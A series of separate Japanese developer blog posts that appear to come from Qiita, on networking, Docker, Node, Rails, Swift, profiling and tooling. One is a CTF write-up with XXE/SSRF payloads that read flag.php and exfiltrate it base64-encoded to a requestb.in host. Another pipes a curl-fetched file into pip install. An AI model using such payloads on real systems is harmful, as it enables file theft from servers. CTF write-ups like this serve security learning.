## トリガーに登録
あとはスクリプトをトリガーに登録しておけばOK。
![gas_trigger.png](https://qiita-image-store.s3.amazonaws.com/0/86958/28e9ff71-2864-84d2-7535-730bb47962c7.png)
IPv6通信への移行について

勉強メモ。
執筆途中なのでご意見あれば参考にしたく。

#IPv6 over IPv4技術とは
- 孤立しているIPv6 Network間を既存のIPv4 Networkで橋渡しする技術
- 具体的な技術としては、6rdなどがある。

## 6rd方式とは
- 6to4(RFC3050)をベースに、任意䛾prefixを使用可能にしたstateless tunnel 
 - 6rd CPE間で直接通信が可能
 - 「ISPの6rd prefix」+「IPv4 Addressを16進数で表示」がISPから渡されるIPv6 Prefixで、それに「ホストID」を付け加えた形でIP Addressが表現される。
![6rd.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/94ad642c-88e4-bf08-0863-d70cc3d78f11.jpeg)


#IPv4 over IPv6技術とは

- 孤立しているIPv4 Network間をIPv6 Networkで橋渡しする技術
 - IPv4 AddressとIPv6 Addressの間には互換性がないので、IPv4のノードとIPv6のノードは直接、相互接続できない
 - IPv4 Addressの枯渇が世界的に見えてきているため、IPv6 Addressへの移行は急務となってきている
- とはいえ、IPv6 Networkに一瞬にして切り替えたり広げたりすることはできない
 - IPv4 Addressでしか動かないノードが残ったりするものもあるため、移行するためのコスト等のハードルが高い
- IPv4 NetworkからIPv6 Addressへの移行にあたり、まずIPv4 AddressとIPv6 Addressが共存する技術が必要であり、そのひとつがIPv4 over IPv6技術である

#MAP-E(Mapping Address and Port Encapsulation）
- IPv6 Adrress ⇔ IPv4 Addressのステートレス変換（SAM:Stateless Address Mapping）
- NAPTによるIPv4 Address共有

#IPv4からIPv6への移行方法（例）
　下記の資料によれば、次のような移行方法があります。
　[IPv6 Transition and Co-existent with IPv4(Ciscoの資料)](https://www.nic.ad.jp/ja/materials/iw/2012/proceedings/t10/t10-innami.pdf)

##STEP0:現状のIPv4 Network
- ホームネットワーク、ISP、インターネットを含めて、IPv4 Networkで構成されている。
![IPv4ネットワーク.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/b7f81f6a-6c7c-b2d1-5ea9-554ca02b1d1f.jpeg)

##STEP1:IPv6 over IPv4 Tunnel
- ホームネットワークにIPv6 Networkが共存するようになり、ISPのIPv6 Backborn NetworkにIPv6 over IPv4トンネルで接続し、IPv6のインターネット網に抜けるようになる。
- この時、ISPはIPv6 Network用の設備を投資する必要があるためハードルが高い
![IPv6overIPv4ネットワーク.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/42b1d49d-c50f-72ff-8eb1-e7ae6aaecb09.jpeg)

- そこで、IPv4インフラ設備を有効活用する方針を取ることで、投資を抑えて移行へのハードルを下げることも考えられている。
- 6rdなどのIPv6 over IPv4トンネルを利用することでIPv6サービスの提供を容易にする。
- ユーザ側にはIPv4/IPv6 Dual Stack環境を提供。

![IPv6overIPv4ネットワーク2.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/c433f3a6-2833-0ad8-1c7e-16f556d4b23b.jpeg)


##STEP2:IPv4/IPv6 Dual Stack
- ISPの設備をIPv4/IPv6 Dual Stack化する。
![IPv6overIPv4 dualstack.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/e88ec7ea-a57e-4c1b-ad33-4b6e24249c2a.jpeg)

##STEP3:IPv4 over IPv6技術の利用
- このフェーズはIPv6 Networkが拡張し始めて、IPv4 Networkの規模が縮小しつつあるフェーズ。
- ただしユーザ環境も未だにIPv4 Networkの環境が残っているので、ISPとしてはこれらのユーザに対してサービスを提供し続ける必要もある。
- MAP-EなどのIPv4 over IPv6トンネルを利用することで、IPv6インフラ上でIPv4通信を提供できるようにする。
![IPv4overIPv6ネットワーク2.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/fa127ad9-b58e-0bea-0b89-b6699b8b2623.jpeg)

##STEP4:IPv6移行完了
![IPv6ネットワーク.jpg](https://qiita-image-store.s3.amazonaws.com/0/213134/14a9575b-49a6-8235-9bb5-5ef9b9645993.jpeg)
Dockerについてのまとめ

#Dockerについてまとめたこと
##参考ページ
　- [いまさら聞けないDocker入門](http://www.atmarkit.co.jp/ait/articles/1405/16/news032.html)
　- [（初心者向け）Dockerの使い方](https://qiita.com/butada/items/3e6cd338cb703eef64b4)
　- []()
　- []()
##メモメモ
　- Dockerとはオープンソースコンテナー管理ソフトウェア
　　コンテナーとはアプリケーションの実行環境を抽象化する技術。
　　・ ハイパーバイザー型の仮想環境：VMware ESXi,Linux KVM
　　・ コンテナー型の仮想環境：Ｄｏｃｋｅr,OpenVZ,VMware ThinApp
  ![わかりやすい図](http://image.itmedia.co.jp/ait/articles/1405/16/docker1_02.jpg)　　
　- 主な機能と特徴
　　・ コンピューターリソースの隔離および制限　
　　・ 他のホスト、その他コンテナーとのネットワーク構成
　　・ ファイル/ディレクトリの世代と差分管理
　- コマンドラインおよびREST APIで手軽かつ効率よくコンテナー管理ができる 
　- Ｄｏｃｋｅｒを使用することでアプリ開発者とインフラ管理者の双方が協調する「[DevOps](http://www.atmarkit.co.jp/ait/articles/1307/02/news002.html)」のためのツールとして様々なメリットがある
　　<font color="Gray">※開発と運用が協力し、ビジネス要求に対して、より柔軟に、スピーディに対応できるシステムを作り上げるためのプラクティス<font>
　　[インフラ管理者へのメリット]
　　・ アプリケーションを少ないリソースで効率よく実行できる
　　・ [Immutable Infrastructure](http://blog.mirakui.com/entry/2013/11/26/231658)の実装
　　　　:アプリの実行環境を使い捨てとし、環境を都度作り直すことにより構成変更を行う、アプリの実行環境をより管理しやすくする考え方
　　・ [Infrastructure as Code](http://www.nttdata.com/jp/ja/insights/trend_keyword/2013053001.html)の実践
　　　　:インフラストラクチャーの構築・運用をコード化、つまりプログラミングにより、変わり続けるITサービスを実現しよう考え方
　　[アプリ開発者へのメリット]
　　・ 開発環境が簡単に用意でき、かつ本番環境と共通化できる（アプリケーションのポータビリティやインターオペラビリティを高めることができる）
　　・ アプリ実行環境を高速にデプロイできる
　- Ｇｏ言語にて開発されたソフトウェア
ConohaにReact環境を構築

# 概要
・ConohaのVPS
・CentOS7.4で構築

# 手順
## apacheインストール
yum -y install httpd
※7系ではデフォルトでfirewallが有効になっているため
firewall-cmd --add-service=http --zone=public --permanent
firewall-cmd --add-service=https --zone=public --permanent
systemctl restart firewalld
systemctl enable httpd
※適当に/var/www/html/index.htmlを作って、外からアクセスできることを確認

## npmインストール
yum install yum-priorities
yum install epel-release.noarch
vim /etc/yum.repos.d/epel.repo
※yum updateしたときに消えないように
[epel]enabled=0に変更
yum install nodejs npm --enablerepo=epel

## Reactプロジェクト作成
適当なワークディレクトリ移動
これを参考に「./node_modules/.bin/webpack」まで実行
https://qiita.com/akirakudo/items/77c3cd49e2bf39da79dd

エラー1:"Webpack has been initialised using a configuration object that does not match the API schema.~"
development.jsを修正
resolve: {
    extensions: ['*', '.js']
  },

エラー2:"Can't resolve 'babel'"
npm i -D babelを実行

エラー3:"The node API for `babel` has been moved to `babel-core`."
ここを参考に修正
https://github.com/babel/babel-loader/blob/master/README.md#the-node-api-for-babel-has-been-moved-to-babel-core

成功！
「./node_modules/.bin/webpack --display-error-details」でオプションをつけるとエラーの詳細が分かる。

あとは先ほどの参考ページでwebpack-dev-serverが起動できればひとまずOK
Node.jsでマイクロサービス [Micro]

# 対象読者
Node.jsを知っている
JavaScriptを知っている
Npmを知っている
新しいものが好き
が当てはまる人

# Micro 
>Micro — *Asynchronous HTTP microservices*

その名の通り小さく軽量なモジュールを作るために存在しており、その容量は0.37mbほど。
Async Await を使って作ることを前提に Micro は設計されているので Async Await を知らない方は、そちらから始めることをお勧めします。 

## インストール

本番環境用: micro
開発環境用: micro-dev
のように使い分けができることがmicroの特徴で、devは

* 自動ポート選択
* クリップボードへのコピー
* きれいなログメッセージ
* ホットリロード

などの便利な機能がついてきます。

今回は dev をインストールします

```
npm install --save-dev micro-dev
```
package.json に micro-dev 用のscriptを追加

```package.json
"scripts": {
  "dev": "micro-dev"
}
```


## 一行でサーバを立てる
まず index.jsファイル を作成してください。その中に

```index.js
module.exports = () => 'Welcome to Micro'
```
と一行書くだけです。

先ほど設定した dev スクリプトを叩く。

```
npm run dev
```
Welcome to Micro が表示されるはずです。
戻り値を処理するのでこのような書き方ができちゃいます。簡単ですね。
Microはデフォルトでポート3000番ですが、すでに使用されている場合、空いているポートを自動選択してくれます。
なんとその時 http://localhost:58903 の形でクリップボードにコピーもしてくれます。
痒いところにも手が届いていいですね。




## request と response を扱う
request と response を処理したい場合は次のようにします。

```index.js
module.exports = (req, res) => {
  res.end('Welcome to Micro')
}
```
こちらも簡単。

## Async Await を扱う

```index.js
const sleep = require('then-sleep')

module.exports = async (req, res) => {
  await sleep(500)
  return 'Ready!'
}
```
Node.js で Async Await が提供されていないバージョンを使用している場合、async-to-gen を使ってトランスパイルすることを公式は推奨しています。

##request を parse する
micro は request を json や buffer , text に parse する api を提供しています。

```index.js
const {buffer, text, json} = require('micro')

module.exports = async (req, res) => {
  const buf = await buffer(req)
  const txt = await text(req)
  const js = await json(req)
  console.log(buf)
  console.log(txt)
  console.log(js)
  return ''
}

```
適当なリクエストを送ってみてください。
写真のような形で綺麗にログが出ます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/146807/003bbb9b-63ac-71fb-6128-5d39c885a026.png)

# あとがき
適当に機能をチョイスして紹介しましたが、詳細はこちらをどうぞ。
testやエラーハンドリングのことも載ってます。サンプルもあります。
[公式ページ](https://zeit.co/blog/micro-8)
[Github](https://github.com/zeit/micro)
Ruby on Rails + OmniAuthでGoogleCalendarにアクセスしたい

Ruby on Rails + OmniAuthでGoogleCalendarにアクセスしたい。どうするの？

# configする

`scope: ` と `prompt: ` と `access_type:` がミソ。

``` config/initializers/omniauth.rb
  provider :google_oauth2,
           ENV['GOOGLE_CLIENT_ID'],
           ENV['GOOGLE_SECRET'],
           {
             image_size: 150,
             name: :google,
             access_type: 'offline',
             scope: %w(https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/calendar).join(' '),
             prompt: 'consent'
           }
```

# とりま callback まできたとする

``` routes.rb
  get '/auth/google/callback', to: 'sessions#create'
```

として以下でOK。

``` sessions_conrtoller.rb

require 'google/api_client/client_secrets.rb'

class SessionsController < ApplicationController
  def create
    @user_info = request.env['omniauth.auth']
    secrets = Google::APIClient::ClientSecrets.new(
      web: {
        access_token:  @user_info.credentials.token,
        refresh_token: @user_info.credentials.refresh_token,
        client_id:     ENV['GOOGLE_CLIENT_ID'],
        client_secret: ENV['GOOGLE_SECRET']
      }
    )

    cal_service = Google::Apis::CalendarV3::CalendarService.new
    cal_service.authorization = secrets.to_authorization
    @calendar_list = cal_service.list_calendar_lists
    p @calendar_list
  end
end
```

# ハマりどころ

前述したミソを正しく設定しないとコールバックされてきたパラメータ、ここでいう `@user_info` に `credentials.refresh_token` が含まれずにハマった。 `prompt: consent` を指定することでOAuth先でGoogle CalendarにアクセスOK？と問い合わせがでるので、どうもこれらを指定しないといけないようだ。
[Swift]Buttonの色を変える方法

Swiftでボタンの色やテキストを変えるときに、手間取ったのでメモ。
やりたいことは、タップしたときにボタンの背景色とテキストの色を変更させたい。
その際に、ボタンの色を確認して、処理を行う。

```swift:viewcontroller.swift
    //タップした時の挙動
    @IBAction func number4tapped(_ sender: CustomButton) {
        print("ss")
        if self.number4button.backgroundColor == UIColor.white {
            number4button.backgroundColor = UIColor(red:0.96, green:0.55, blue:0.15, alpha:1.0)
            number4button.setTitleColor(UIColor.white, for: .normal)
        }
    }
```
storyboard上でoutlet接続した上で、タップした際に「backgroundColor」と「setTitleColor」でそれぞれ、背景色とテキストの色を変更。

ちなみに、xcode上でボタンの背景色を設定できるが、それを「default」のままにしておくと、白色と認識されないので、処理が走りません。初めて知った・・・

コードで書いた方がいいのかなと思いつつ、storyboard使っちゃいますね。
時間あるときに、コードオンリーで書いてみよう。
HamaCTF xmlvalidator writeup

#web300 xmlvalidator

##問題文
>have you hacked xmlint? 
okay go ahead: 
http://xmlvalidator/ 
(available on the internal network)

ローカルネットワークからじゃないとアクセスできないらしい。
ヒントでweb200のxmlintからアクセスできるということを教えてもらった
xmllintの問題ページから以下のxmlを入力する。

```xml
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "php://filter/convert.base64-encode/resource=http://xmlvalidator/">
]>
<foo>
  &bar;
</foo>
```
###レスポンス

```html
<!doctype html>
<html>
  <head>
    <title>XML Validator</title>
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>

    <style>
body {
  padding: 20px;
}
    </style>
  </head>
  <body>
    <div classs="container">
      <form class="form-group"> 
        <label for="xml">Input XML to validate:</label>
        <textarea class="form-control" rows="20" id="xml" name="xml"></textarea>
        <button class="btn btn-primary btn-block" type="submit">validate!</button>
      </form>
    </div>
    <!-- <a href="/?source=1">source code</a>-->
  </body>
</html>
```

?source=1でソースが見れそう

```php
<?php
include "flag.php";
ini_set('display_errors', 1);

if (!empty($_REQUEST['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!empty($_REQUEST['xml'])) {
    $xmlstr = $_REQUEST['xml'];
    libxml_use_internal_errors(true);
    $doc = new DOMDocument();
    $doc->substituteEntities = true;

    if ($doc->loadXML($xmlstr)) {
        $xml = 'valid';
    } else {
        $xml = "invalid:\n";
        $err = libxml_get_errors();
        foreach($err as $e) {
            $xml .= "line {$e->line}: {$e->message}";
        }
        libxml_clear_errors();
    }
}
?>
```

ここにもXXEの脆弱性があるので自分で待ち受けているサーバーに攻撃用のxmlファイルを用意し、それを読み込ませてSSRFを狙う

サーバーに置くファイル

```xml
<!ENTITY % filebase64 SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
<!ENTITY % injme '<!ENTITY startme SYSTEM "https://requestb.in/xxxxxxx?xxe=%filebase64;">'>%injme;
```

xmllintに以下を入力する。

```xml
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "php://filter/convert.base64-encode/resource=http://xmlvalidator/?xml=%3C%21DOCTYPE+root+%5B%3C%21ELEMENT+root+ANY+%3E%3C%21ENTITY+%25+xxe+SYSTEM+%22https%3A%2F%2Fexample.com%2Fxxe.dtd%22%3E%25xxe%3B%5D%3E%3Croot%3E%26startme%3B%3Croot%3E">
]>
<foo>
  &bar;
</foo>
```

SSRFで待ち受けているサーバーのログにフラグがbase64エンコードされて送られてきている。

```xml
xxe: PD9waHAKJGZsYWcgPSAiSGFtYUNURntncmU0dF95MHVfYXIzX1hYRV9tNHN0M3J9IjsK
```
HamaCTF{gre4t_y0u_ar3_XXE_m4st3r}
autosklearnのインストール

#自分用メモ
ubuntu1604に公式のインストールでは入らない。
まずcondaでgccと、swigをインストールしてから、公式のubuntu向けインストールでインストール出来る。
1. conda install gcc swig
2. curl https://raw.githubusercontent.com/automl/auto-sklearn/master/requirements.txt | xargs -n 1 -L 1 pip install
3. pip install auto-sklearn

##以下は公式のインストール方法
https://automl.github.io/auto-sklearn/stable/installation.html
Visual Studioのパフォーマンスプロファイラー

# はじめに
この記事は [Microsoft Student Partners Japan Advent Calendar 2017](https://qiita.com/advent-calendar/2017/mspjp) 4日目の記事です。
今回はVisual Studioに搭載されているプロファイラのお話です。

# パフォーマンスプロファイラーとは
作成したプログラムのどこが遅いかなどを調査するためのツールでVisuals Studioの場合はCPU使用率, GPU使用率, メモリ使用率などを調査することが出来ます。

プログラム実行時に表示される診断ツールでも全体のCPU使用率やメモリの使用量がわかりますが、パフォーマンスプロファイラーを使うことで関数レベルで調査することが出来ます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/4d031370-12eb-ce93-3b1c-b1d19d9585b2.png)

このツールを使うことで例えば重たい処理をしている関数を特定したり、メモリリークの調査を行うことが出来ます。

今回はCPU使用率のプロファイリング機能を使って色々見てみます。

# サンプルコード
今回はフィボナッチ数列を愚直な方法でも止めるFibHeabyメソッドとメモ化を使い高速に求めるFibLightメソッドを用意しました。
これらを軽い処理と重い処理としてパフォーマンスプロファイラを使います。

```csharp
class Program
{
    static int FibHeaby(int n)
    {
        return n == 0 || n == 1 ? n : FibHeaby(n - 2) + FibHeaby(n - 1);
    }
    static Dictionary<int, int> Table;
    static int FibLight(int n)
    {
        if (Table.ContainsKey(n))
        {
            return Table[n];
        }
        var ret = FibLight(n - 2) + FibLight(n - 1);
        Table.Add(n, ret);
        return ret;
    }
    static void Main(string[] args)
    {
        Table = new Dictionary<int, int>();
        Table[0] = 0;
        Table[1] = 1;
        Console.WriteLine("FIB Light N=100000");
        FibLight(100000);
        Console.WriteLine("FIB Heab N=45");
        FibHeaby(45);
        Console.WriteLine("END");
        Console.ReadKey();
    }
}
```

# プロファイラーでCPU使用率を調べてみる
Visual Studioで調査したいプログラムのプロジェクトを開き「分析」から「パフォーマンスプロファイラー」を選択します。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/2df82f71-c8aa-7ff4-a9ab-295d23f9ac87.png)

「CPU使用率」を選択し「開始」を選択します。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/55f1c276-aa92-cd24-988a-2f7d29d128fc.png)

※CPU使用率とメモリ使用率は同時に調査できないです。

開始ボタンを押すと通常通りプログラムが立ち上がりますので、プロファイルを取りたい機能を動かし終了させます。
プログラムを終了させると結果が表示されます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/13bd2fb9-cd76-151e-0936-968d6362db0b.png)

また、詳細を見たい時間帯を選択することで選択した範囲内で呼び出された関数の一覧が表示されます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/6ca09313-070b-5717-7fba-aa106f70cd66.png)

この段階でもどの関数がボトルネックか表示されますが、「詳細なレポートを作成します」を選択することで更に細かな情報が表示されます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/8554f5cd-cd31-1345-5889-2670e596c3db.png)

とくにどの順番で関数が呼ばれるものが一番時間を使っているかがわかるホットパスは重要です。

また、詳細レポートの関数名をクリックすることでソースコードがあれば該当するソースコードを表示してくれます。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/140084/69d2d1a0-563e-813e-9fc8-754c411216e5.png)

ソースコードのどこがよく呼ばれているか、指定した関数は主にどこから呼ばれるかなどもわかります。

# 終わりに
今回はVisual Studioに搭載されているパフォーマンスプロファイラーを紹介しました。
自作プログラムや研究室などで開発しているプログラムなどを高速化する必要がある時にぜひ使ってみてください。

# 免責事項
この記事は1ペンギンの個人的な見解を含み、所属する団体等を代表するものではありません。
複数のtelnet接続を少ない手間で操作する Tips for macOS iTerm

初回投稿は挿入画像など、Uploadできる容量に2MBの制限あるということで、この制限を100MBに引き上げるために ライトな投稿を１つしておきたいと思います。

macOS iTerm + AppleScript で 複数のtelnet接続を行い、 iTerm の tab で全ての telnet セッションを一つの windowにまとめる手法をご紹介します。
iTerm の 一つの windowでまとめることができれば、全ての tab に同時に同じ CLI 操作を行うことができるため、大量の機器に対して同時に同じ設定や確認コマンドの出力結果を把握することができるようになります。
 
AppleScript で macOS iTerm から tap でわけならが複数のtelnet セッションを実行するスクリプト例

```applescript
set theList to {"10.X.X.X 2002", "10.X.X.X 2003"}
tell application "iTerm"
   activate
   tell current window
      repeat with curItem in theList
         create tab with default profile
         set firstTab to current tab
         tell current session of current tab
            write text "telnet " & curItem
            write text " "
            write text " "
         end tell
      end repeat
   end tell 
end tell
```


iTermで複数 Tab を管理する場合、以下の操作は重宝します。
shift + command + → で tab を右となりの tab に遷移
shift + command + i で、警告ウィンドウが表示された後、ブロードキャスト機能開始 (複数タブで同じコマンドを実行)
 
これで Console Server 経由で  複数の機器への コンソール接続もできるようになりました。
大量の機器に対しての show commandの出力結果を見たり、共有設定をしたり、 IOSの変更が容易にできるようになります。
 
もし、Console Server にセッションが残ってしまい 接続拒否された場合は、Console Server に入り clear line すると思いますが、
大量のコネクションに対して clear line するのも面倒なので、以下のようなスクリプトを bash で実行すると楽になります。 
ex) 10.X.X.X の Console Server の 2002 - 2038の line を clear する

```bash
(for IP in {2..38}; do
   usleep 10000; echo ;
   usleep 10000; echo ;
   usleep 100000; echo clear line $IP;
   usleep 10000; echo ;
   usleep 10000; echo ;
   done;
) | telnet 10.X.X.X 23
```
以上です。ちょっとでも検証が楽になれば幸いです。
MacでPython環境の構築

# はじめに
最近（いやとっくに）流行りのPython。
機械学習や高度な数値計算のライブラリが豊富にあるため今後も伸びそうな予感です。
俺も俺もということで、学びの環境を構築して行こうと思います。
素のPythonと、多数の科学計算パッケージを含んだanaconda両方いれていきます
（どっちかで良いけど今回は勉強も兼ねて）

# 作業の流れ
1. homebrewのインストール(今回はここは割愛)
2. homebrewでpyenvインストール
3. pyenvでanacondaインストール


# pyenv

インストール

```
$brew install pyenv
```

パスを通す(bashなら.bash_profile)

```
$echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
$echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
$echo 'eval "$(pyenv init -)"' >> ~/.zshrc
$source ~/.zshrc
```

# anaconda

```
#install可能なversion確認
$pyenv install -l | grep anaconda
$pyenv install anaconda3-5.0.0
```

# 素のPython(3.6.3)を入れる
```
$pyenv install 3.6.3
```

# アクティブにするPythonのverisonを切り替える

```
#アクティブなversion確認
$pyenv versions
  system
* 3.6.3 (set by /Users/user/.pyenv/version)
  anaconda3-5.0.0
```

```
#version切替
$pyenv global anaconda3-5.0.0
```

```
アクティブなversion確認
$pyenv versions
  system
  3.6.3
* anaconda3-5.0.0 (set by /Users/user/.pyenv/version)
```

# おわりに
セットアップ完了です。
結構サクッといくね。
テスト自動化の技術がいろいろあるので整理してみた(い)

#この記事を書こうと思ったきっかけ
・テスト自動化の技術を整理している記事があんまり見つからない
・よくわかんないけどJUnitとSelenium使えばいいの？みたいな状況を脱却したい

#ざっくり分類すると
以下の2つになるのかなと思っています。
1.ソースコードが正しく書けたかの検証を自動化するための技術(ホワイトボックス的)
2.ユーザ目線で、アプリケーションの挙動が正しいかの検証を自動化するための技術(ブラックボックス的)

さらに、上記1.は「静的解析」と「動的解析」に分かれます。

あと例外として、
3.テスト自動化の技術に含まれなくはないけどそのものではない技術
もあると思っています。Jenkinsとか。

#補足
この記事では、「個人的によく質問されたり質問したりする」ツールをピックアップして紹介しています。網羅性という意味では全く足りていませんが、例えば一部の大企業で使われているような高価なツールについてだったりの話は、恐らく需要がないので割愛しました。

#1.ソースコードが正しく書けたかの検証を自動化するための技術(ホワイトボックス的)
##JUnit
###そもそも何なのか
Javaで書いたプログラムの(ソースコードレベルの)単体テストをするときに便利なフレームワークです。動的解析ツールです。
###なにが便利なの？
たとえば、テストするときに繰り返し必要になる仕組みがメソッド化されています。
車輪の再発明が不要です。
例)テスト対象のロジックを実行した結果が、期待値と一致しているかをチェックするためのメソッドが最初から用意されている
###フレームワーク使わなくても生でテストコード書けば良くない？
そのほうが良いと判断すればそうやるのもありだと思います。実践投入するかはケースバイケース。
###Javaで書いてないひとはどうすればいいの？
xUnitの項目を参照してください。

##xUnit
###そもそも何なのか

「xUnit」という名前のフレームワークはありません。
(xUnit.netがありました)
単体テストをするときのフレームワークを総称してxUnitと読んでいます。
プログラミング言語によって様々な「なんちゃらUnit」があるので、Java以外の言語を使って開発している人は、その言語に対応するフレームワークを探せばOKです。
例)VBならVBUnit、PythonならPyUnit


##SonarQube
###そもそも何なのか
ソースコードを静的に解析して、レビューしてくれるツールです。
「その書き方はちょっとよろしくないんじゃないかな」を教えてくれます。

##FindBugs
###そもそも何なのか
ソースコードを静的に解析して、レビューしてくれるツールです。
Javaのソースコードに対して使用できます。

#2.ユーザ目線で、アプリケーションの挙動が正しいかの検証を自動化するための技術(ブラックボックス的)
##Selenium
###そもそも何なのか
実際に動くアプリケーションを、マウスとキーボードで操作して検証するときに、その操作と検証を自動化できるツールです。
基本的に、PCのWEBブラウザに特化しています。
###なにが便利なの？
JUnitと同様に、テストするときに繰り返し必要になる仕組みがメソッド化されています。
なので、ただのキャプチャ＆リプレイより優れています。

###PCのクライアントアプリには使えないの？
Seleniumではできません(と理解しています)が、WiniumとかFriendlyとかを使えばできるようです。

###スマホアプリの検証はできないの？
Appiumの項目を参照してください。

##Appium
###そもそも何なのか
AndroidアプリとiOSアプリに対して、Seleniumと同様に、その操作と検証を自動化できるツールです。

#3.テスト自動化の技術に含まれなくはないけどそのものではない技術
##Jenkins
###そもそも何なのか
ソフトウェア開発を全面的にサポートしてくれるツールです(なので、執事のおじさんがアイコンになっています)。継続的インテグレーション(CI)ツールと呼ばれています。
###なにが便利なの？
ツールのいち機能として、例えばJUnitで書かれたテストコードを実行して、レポートを出力してくれる機能があったりします。
さらに、ソースコードに変更が入ったら自動的にビルドをして、テストコードを実行して、その結果を出力するということもやってくれます。ナイス執事。
###ありがちな誤解
Jenkinsおじさんはあくまで執事なので、「Jenkinsでテストコードを書く」といったような考え方はありません。

##Ant,Maven,Gradle
###そもそも何なのか
ビルドツールです。

###ありがちな誤解
こちらも自動テストをまわすためには必要なツールですが、CIツールと同様、「Gradleでテストコードを書く」といったような考え方はありません。
SIerの現役SEが新人にとりあえずインストールしておいてと言いたいフリーソフト


職場で毎回指示するのが手間なので書き留めておきます。

### 本記事が対象とする読者
* 入社1-2年目くらいの新人SE
* 新しい現場に入場し、とりあえずPCのセットアップが必要となった人
* MS Office系以外の有料ソフトは一切購入してくれない現場にいるエンジニア

### 想定するマシンスペック
SIerが支給するPCは基本的人権[^1]が守られていないことが多いので低めに設定😂

* OS   :Windows 7/10 32bit/64bit
* メモリ:4GB以下
* CPU  :Core i5以下
* ストレージ:HDD 128GB以下

### ソフトの選定基準
可能な限り以下を全て満たすこと

* 商用で無償利用可能であること
* クラウドを前提としないソフトであること
* 高いマシンスペックを要求しないこと
* 公式サイトからダウンロードできること
* バージョンアップが継続していること

### 全エンジニア向け

#### 1.サクラエディタ
* 高機能テキストエディタ
* COBOL,java,sql,c/c++などの形式に対応
* 正規表現による検索/置換が対応

ダウンロード:[サクラエディタ](http://sakura-editor.sourceforge.net/)

一言:理由なく標準のメモ帳を使い続けるのはやめましょう。

#### 2.WinMerge
* テキスト差分比較ツール
* 比較しながら編集することも可能
* 比較結果をhtmlにエクスポート可能

ダウンロード:[WinMerge日本語版](http://www.geocities.co.jp/SiliconValley-SanJose/8165/winmerge.html)

一言:ソースやコンフィグファイルの差分を確認するのに欠かせないツールです。

#### 3.7-Zip

* ファイル分割/展開ソフト
* 分割圧縮が可能
* パスワード付圧縮が可能

ダウンロード:[7zip](https://sevenzip.osdn.jp/)

一言:顧客にファイルを送付する時などに使用する。分割圧縮するときは相手が展開できるか注意すること。


#### 4.Cube PDF Utility
* PDFのページ編集ツール
* PDFのページを抽出,挿入することが可能
* ページを回転して保存することが可能

ダウンロード:[Cube PDF Utility](http://www.cube-soft.jp/cubepdfutility/index.php)

一言:資料を上下逆さまにPDFスキャンしてしまった時に便利です。

#### 5. FreeMind
* MindMapエディタ
* マウスでノードを簡単に移動可能

ダウンロード:[FreeMind](https://ja.osdn.net/projects/freemind/howto/usage)

一言:タスクやアイディアを整理する際に使用する。書き出すことで頭の中のモヤモヤが整理されるのでオススメ。


### DB/アプリケーションエンジニア向け

#### 1. A5:SQL Mk-2
* SQLクライアントソフト
* Oracle,PostgreSQL, MySQL,Microsoft SQL Serverに対応 
* ER図やテーブル定義書の自動生成が可能

ダウンロード:[A5:SQL Mk-2](https://a5m2.mmatsubara.com/)

一言:Excelとの相性がよいので、SIerの現場では重宝します。

#### 2. NotePad++
* プログラマ向けテキストエディタ
* プラグインによる機能拡張が可能

ダウンロード:[NotePad++](https://notepad-plus-plus.org/contribute/)

一言:サクラエディタよりコーディング用途に特化している印象です。お好みでどうぞ。

### ネットワークエンジニア向け

#### 1. Tera Term
* リモートログオンクライアント
* telnet,ssh,シリアル接続に対応

ダウンロード:[Tera Term](https://ttssh2.osdn.jp/)

一言:NWエンジニアの必須ソフト。とりあえずインストール。

#### 2. Wireshark
* パケットキャプチャソフト
* フローグラフでノード間の通信を視覚的に確認できる

ダウンロード:[Wireshark](https://www.wireshark.org/)

一言:主にテストやトラブルシューティングで使用します。非NWエンジニアも1度は触ってみると良いと思います。

### 最後に
エンジニアを始める最初の1歩に役立てたら幸いです。
とりあえず使ってみて、不満がでてきたら他のソフトを見つける→使ってみるを繰り返して作業効率を上げていくのが良いと思います。
また、ソフトの機能そのものだけでなく先輩/上司/チームメンバが使っていることを選定基準にするのもありかと思います。

ここで紹介したもの以外に上記の「ソフトの選定基準」に該当するオススメのソフトがありましたらご教示いただけると嬉しいです。


[^1]: http://b.hatena.ne.jp/entry/308945518/comment/erukiti